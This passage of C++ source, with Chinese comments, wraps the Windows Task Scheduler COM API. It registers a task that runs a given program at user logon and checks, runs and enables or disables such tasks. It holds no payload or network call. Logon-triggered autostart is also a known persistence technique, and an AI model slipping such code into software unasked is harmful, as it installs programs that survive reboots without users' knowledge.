    hr = pTaskDefinition->get_Actions(&pActionCollect);
    if (FAILED(hr))
    {
        ShowError("pTaskDefinition::get_Actions", hr);
        return FALSE;
    }
    IAction* pAction = NULL;
    // 创建执行操作
    hr = pActionCollect->Create(TASK_ACTION_EXEC, &pAction);
    pActionCollect->Release();

    /* 设置执行程序路径和参数 */
    CComVariant variantProgramPath(NULL);
    CComVariant variantParameters(NULL);
    IExecAction* pExecAction = NULL;
    hr = pAction->QueryInterface(IID_IExecAction, (PVOID*)(&pExecAction));
    if (FAILED(hr))
    {
        pAction->Release();
        ShowError("IAction::QueryInterface", hr);
        return FALSE;
    }
    pAction->Release();
    // 设置程序路径和参数
    variantProgramPath = lpszProgramPath;
    variantParameters = lpszParameters;
    pExecAction->put_Path(variantProgramPath.bstrVal);
    pExecAction->put_Arguments(variantParameters.bstrVal);
    pExecAction->Release();

    /* 创建触发器,实现用户登陆自启动 */
    ITriggerCollection* pTriggers = NULL;
    hr = pTaskDefinition->get_Triggers(&pTriggers);
    if (FAILED(hr))
    {
        ShowError("pTaskDefinition::get_Triggers", hr);
        return FALSE;
    }
    // 创建触发器
    ITrigger* pTrigger = NULL;
    hr = pTriggers->Create(TASK_TRIGGER_LOGON, &pTrigger);
    if (FAILED(hr))
    {
        ShowError("ITriggerCollection::Create", hr);
        return FALSE;
    }

    /* 注册任务计划  */
    IRegisteredTask* pRegisteredTask = NULL;
    CComVariant variantTaskName(NULL);
    variantTaskName = lpszTaskName;
    hr = m_lpRootFolder->RegisterTaskDefinition(variantTaskName.bstrVal,
        pTaskDefinition,
        TASK_CREATE_OR_UPDATE,
        _variant_t(),
        _variant_t(),
        TASK_LOGON_INTERACTIVE_TOKEN,
        _variant_t(""),
        &pRegisteredTask);
    if (FAILED(hr))
    {
        pTaskDefinition->Release();
        ShowError("ITaskFolder::RegisterTaskDefinition", hr);
        return FALSE;
    }
    pTaskDefinition->Release();
    pRegisteredTask->Release();

    return TRUE;
}


BOOL CMyTaskSchedule::IsExist(char* lpszTaskName)
{
    if (NULL == m_lpRootFolder)
    {
        return FALSE;
    }
    HRESULT hr = S_OK;
    CComVariant variantTaskName(NULL);
    CComVariant variantEnable(NULL);
    variantTaskName = lpszTaskName;                     // 任务计划名称
    IRegisteredTask* pRegisteredTask = NULL;
    // 获取任务计划
    hr = m_lpRootFolder->GetTask(variantTaskName.bstrVal, &pRegisteredTask);
    if (FAILED(hr) || (NULL == pRegisteredTask))
    {
        return FALSE;
    }
    pRegisteredTask->Release();

    return TRUE;
}


BOOL CMyTaskSchedule::IsTaskValid(char* lpszTaskName)
{
    if (NULL == m_lpRootFolder)
    {
        return FALSE;
    }
    HRESULT hr = S_OK;
    CComVariant variantTaskName(NULL);
    CComVariant variantEnable(NULL);
    variantTaskName = lpszTaskName;                     // 任务计划名称
    IRegisteredTask* pRegisteredTask = NULL;
    // 获取任务计划
    hr = m_lpRootFolder->GetTask(variantTaskName.bstrVal, &pRegisteredTask);
    if (FAILED(hr) || (NULL == pRegisteredTask))
    {
        return FALSE;
    }
    // 获取任务状态
    TASK_STATE taskState;
    hr = pRegisteredTask->get_State(&taskState);
    if (FAILED(hr))
    {
        pRegisteredTask->Release();
        return FALSE;
    }
    pRegisteredTask->Release();
    // 无效
    if (TASK_STATE_DISABLED == taskState)
    {
        return FALSE;
    }

    return TRUE;
}


BOOL CMyTaskSchedule::Run(char* lpszTaskName, char* lpszParam)
{
    if (NULL == m_lpRootFolder)
    {
        return FALSE;
    }
    HRESULT hr = S_OK;
    CComVariant variantTaskName(NULL);
    CComVariant variantParameters(NULL);
    variantTaskName = lpszTaskName;
    variantParameters = lpszParam;

    // 获取任务计划
    IRegisteredTask* pRegisteredTask = NULL;
    hr = m_lpRootFolder->GetTask(variantTaskName.bstrVal, &pRegisteredTask);
    if (FAILED(hr) || (NULL == pRegisteredTask))
    {
        return FALSE;
    }
    // 运行
    hr = pRegisteredTask->Run(variantParameters, NULL);
    if (FAILED(hr))
    {
        pRegisteredTask->Release();
        return FALSE;
    }
    pRegisteredTask->Release();

    return TRUE;
}


BOOL CMyTaskSchedule::IsEnable(char* lpszTaskName)
{
    if (NULL == m_lpRootFolder)
    {
        return FALSE;
    }
    HRESULT hr = S_OK;
    CComVariant variantTaskName(NULL);
    CComVariant variantEnable(NULL);
    variantTaskName = lpszTaskName;                     // 任务计划名称
    IRegisteredTask* pRegisteredTask = NULL;
    // 获取任务计划
    hr = m_lpRootFolder->GetTask(variantTaskName.bstrVal, &pRegisteredTask);
    if (FAILED(hr) || (NULL == pRegisteredTask))
    {
        return FALSE;
    }
    // 获取是否已经启动
    pRegisteredTask->get_Enabled(&variantEnable.boolVal);
    pRegisteredTask->Release();
    if (ATL_VARIANT_FALSE == variantEnable.boolVal)
    {
        return FALSE;
    }

    return TRUE;
}


BOOL CMyTaskSchedule::SetEnable(char* lpszTaskName, BOOL bEnable)
{
    if (NULL == m_lpRootFolder)
    {
        return FALSE;
    }
    HRESULT hr = S_OK;
    CComVariant variantTaskName(NULL);
    CComVariant variantEnable(NULL);
    variantTaskName = lpszTaskName;                     // 任务计划名称
    variantEnable = bEnable;                            // 是否启动
    IRegisteredTask* pRegisteredTask = NULL;
    // 获取任务计划
    hr = m_lpRootFolder->GetTask(variantTaskName.bstrVal, &pRegisteredTask);
    if (FAILED(hr) || (NULL == pRegisteredTask))
    {
        return FALSE;
    }
    // 设置是否启动
    pRegisteredTask->put_Enabled(variantEnable.boolVal);
    pRegisteredTask->Release();

    return TRUE;
}